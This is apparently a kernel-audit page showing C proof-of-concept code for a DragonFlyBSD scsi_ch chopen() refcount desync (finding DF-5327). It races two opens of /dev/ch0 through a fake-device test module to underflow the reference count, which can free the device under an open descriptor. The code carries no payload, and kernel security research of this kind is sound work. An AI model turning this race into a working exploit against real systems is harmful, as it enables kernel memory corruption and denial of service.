⬢ DragonFlyBSD Kernel Audit
DF-5327 / poc_chopen.c
← back to finding ↓ download raw
/* DF-5327 PoC: scsi_ch chopen() hold-interrupt refcount desync.
 *
 * chopen() (sys/bus/cam/scsi/scsi_ch.c:415-432):
 *   - sets CH_FLAG_OPEN (or drops its acquire for 2nd+ openers) BEFORE
 *     cam_periph_hold(PCATCH);
 *   - when the hold is signal-interrupted, the error path does
 *     unlock + cam_periph_release() -- dropping the open reference
 *     even though this (failed) open had already set CH_FLAG_OPEN.
 *
 * Result: the peripheral refcount undercounts by one.  After the
 * interrupted open#2, the still-running open#1 finishes with
 * refcount == 0 while /dev/ch0 is open; the following close drives it
 * to 0xFFFFFFFF (silent: the guard at cam_periph.c:576 is dead code,
 * DF-5329), and any device removal in between frees the periph and
 * softc under the open descriptor.
 *
 * Rig: evilcd2.ko target 1 = fake changer (/dev/ch0).  watch=2 makes
 * debug.evilcd.refcnt read the ch periph.  defer=1 parks open#1's
 * chgetparams() MODE SENSE so open#2 blocks in cam_periph_hold(PCATCH).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <sys/wait.h>
#include <sys/chio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>

static int
refcnt(void)
{
	int v = -999;
	size_t l = sizeof(v);

	sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0);
	return (v);
}

static void
sysctl_set(const char *name, int v)
{
	size_t l = sizeof(v);

	sysctlbyname(name, NULL, NULL, &v, l);
}

static void
sigh(int sig)
{
	(void)sig;
}

int
main(void)
{
	pid_t p1, p2;
	int st, fd;

	setvbuf(stdout, NULL, _IONBF, 0);
	signal(SIGALRM, sigh);
	siginterrupt(SIGALRM, 1);

	/* park the first chgetparams MODE SENSE inside the SIM */
	sysctl_set("debug.evilcd.defer", 1);

	/* child 1: open#1 -- parks in chgetparams holding CAM_PERIPH_LOCKED */
	p1 = fork();
	if (p1 == 0) {
		fd = open("/dev/ch0", O_RDWR);
		if (fd < 0)
			_err(1, "open#1");
		printf("[child1] open#1 returned: refcount=%d "
		    "(*** expect 0 -- undercounted with ch0 OPEN ***)\n",
		    refcnt());
		sleep(1);			/* keep fd open a moment */
		close(fd);
		printf("[child1] after close: refcount=%d "
		    "(*** expect -1: unmatched release ***)\n", refcnt());
		_exit(0);
	}

	/* let open#1 reach its parked MODE SENSE */
	sleep(2);

	/* child 2: open#2 blocks in cam_periph_hold(PCATCH), self-interrupts */
	p2 = fork();
	if (p2 == 0) {
		int f;
		alarm(1);
		f = open("/dev/ch0", O_RDWR);
		printf("[child2] open#2: fd=%d errno=%d(%s) refcount=%d\n",
		    f, errno, strerror(errno), refcnt());
		_exit(0);
	}
	waitpid(p2, &st, 0);
	printf("[parent] open#2 reaped (interrupted) -- chopen error path "
	    "ran unlock+cam_periph_release with CH_FLAG_OPEN set\n");
	printf("[parent] refcount while open#1 still parked: %d "
	    "(expect 1: acquire+hold of open#1 minus the burned ref)\n",
	    refcnt());

	/* release open#1's chgetparams; it completes and unholds */
	sysctl_set("debug.evilcd.defer", 0);

	waitpid(p1, &st, 0);
	printf("[parent] done\n");
	return (0);
}